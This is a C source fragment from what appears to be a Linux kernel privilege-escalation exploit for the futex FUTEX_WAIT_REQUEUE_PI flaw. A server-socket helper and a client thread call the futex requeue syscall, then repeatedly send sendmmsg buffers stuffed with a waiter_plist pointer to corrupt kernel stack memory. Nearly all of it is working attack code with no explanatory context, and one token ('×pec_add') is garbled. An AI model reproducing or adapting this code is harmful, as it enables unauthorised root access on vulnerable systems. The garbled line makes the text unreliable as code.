static int server_for_setup_rt_waiter(void) { int sockfd; int yes = 1; int ret = -1; struct sockaddr_in addr = {0}; struct timespec timespec_add = {0}; sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP); setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes)); addr.sin_family = AF_INET; addr.sin_port = htons(LOCAL_PORT); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)); sockfd = connect_server_socket(); addr.sin_family = 0; connect(sockfd, (struct sockaddr *)&addr, 16); listen(sockfd, 1); ret = ioctl(sockfd, SIOCGSTAMPNS, ×pec_add); return ret; }
static void *client_to_setup_rt_waiter(void *waiter_plist) { int sockfd; struct mmsghdr msgvec[1]; struct iovec msg_iov[8]; unsigned long databuf[0x20]; int i; int ret; struct sigaction act; act.sa_handler = void_handler; sigemptyset(&act.sa_mask); act.sa_flags = 0; act.sa_restorer = NULL; sigaction(SIGNAL_THREAD_EXIT, &act, NULL); waiter_thread_tid = syscall(__NR_gettid); setpriority(PRIO_PROCESS, 0, 12); sockfd = connect_server_socket(); clientfd = sockfd; for (i = 0; i < ARRAY_SIZE(databuf); i++) { databuf[i] = (unsigned long)waiter_plist; } for (i = 0; i < ARRAY_SIZE(msg_iov); i++) { msg_iov[i].iov_base = waiter_plist; msg_iov[i].iov_len = (long)waiter_plist; } msg_iov[1].iov_base = (void *)iov_base0; msgvec[0].msg_hdr.msg_name = databuf; msgvec[0].msg_hdr.msg_namelen = sizeof databuf; msgvec[0].msg_hdr.msg_iov = msg_iov; msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov); msgvec[0].msg_hdr.msg_control = databuf; msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf); msgvec[0].msg_hdr.msg_flags = 0; msgvec[0].msg_len = 0; syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0); sync_with_parent(&do_socket_tid_read, &did_socket_tid_read); ret = 0; while (1) { ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0); if (ret <= 0) { break; } else printf("sendmmsg ret %d\n", ret); } return NULL; }